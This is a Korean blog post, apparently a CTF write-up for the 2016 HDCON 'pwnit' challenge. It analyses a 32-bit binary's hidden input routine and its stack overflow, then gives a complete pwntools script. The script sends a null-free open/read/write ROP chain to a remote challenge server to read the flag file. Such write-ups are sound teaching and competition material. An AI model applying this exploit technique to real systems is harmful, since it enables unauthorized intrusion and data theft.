튜기's blogggg

2016 HDCON pwnit(400)

by St1tch




 문제파일에는 elf헤더의 5번째 byte가 2로 되있다.

32bit 바이너리인데 2로 되있기 때문에 1로 수정을 하고 분석을 했다.

문제환경이 14.04.5라고 명시되어있었다.

따라서 14.04.5의 libc를 sig파일로 저장해서 ida에 적용시켜서 보았다.





main함수에 입력을 받는 문자열이 있지만 실제로는 fake이다.

init_array에서 두번째로 실행되는 함수안을 들여다보면 sleep을 걸고 chroot, 권한, 접근가능한지 확인을 한다.

그리고 그 바로밑에 real_input이라고 내가 바꿔논 함수안에서 실질적인 입력을 받는다. 





ida에서 c를 누르면 분석하지 못했던 것들이 분석되서 위와 같은 코드가 나온다.

여기서 입력을 받는데 최대길이가 89이다.

그리고 아래쪽으로 단어조건이 5개가 있다.





그 단어조건(첫 5글자가 02044)를 만족하면

입력한 문자열을 복사를 하는 루틴이 나오는데 여기서 취약한 부분이 있다.

ebp-0x16주소부터 복사를 하는데 89바이트 까지 복사를 할 수 있으므로, ebp기준으로 65byte를 overwrite할 수 있다. 

주의할 점은 널값을 확인하므로 널값이 없는 공격벡터를 생각해야한다.


 chroot가 설정이 되어있고, '/flag'문자열의 주소를 알기 때문에

open -> read -> write 의 순서로 널값이 없는 rop페이로드를 구성했다.


한번에 65바이트 이내의 페이로드를 짤수가 없어서,

트리거를 한번 시킨후에 총 3개의 함수를 실행시킬 수 있었다.




from pwn import *

local = False
if local :
    s = remote('kimtae.xyz', 9989)
    pause()
else :
    s = remote('13.84.229.236', 5050)

fake_ebp = 0x08177124
save_flag = 0x08177220
open_opt = 0x08080840
minus_1 = 0xffffffff
size = 0x01010101

trigger = 0x0804941B
flag = 0x08128354
open_ = 0x080E79E0
read = 0x080E7A92
write = 0x080E7B02

inc_ebx = 0x081483b8
pop_edx = 0x080e9f8a
pop_ecx = 0x0814a267
ppr = 0x08048636 #pop esi; pop edi; ret;

def solver() :
    p = log.progress('status : ')
    p.status('open flag')
    s.recvuntil(':')
    pay = '02044' + 'a'*19
    pay += p32(fake_ebp)
    pay += p32(open_) + p32(ppr) + p32(flag) + p32(open_opt)
    pay += p32(trigger)
    s.send(pay)

    p.status('read and write flag')
    s.recvuntil(':')
    pay = '02044' + 'a' * 23
    pay += p32(inc_ebx)*2 + p32(pop_ecx) + p32(save_flag) + p32(pop_edx) + p32(size) + p32(read) + p32(minus_1)*2 #read(3, &save_flag, 0x01010101)
    pay += p32(inc_ebx)*2 + p32(write) #write(1, &save_flag, 0x01010101)
    s.send(pay)

    p.success('get flag!')
    print s.recvall().replace('\x00','').strip()

if __name__ == '__main__' :
    solver()


굿뜨~




블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기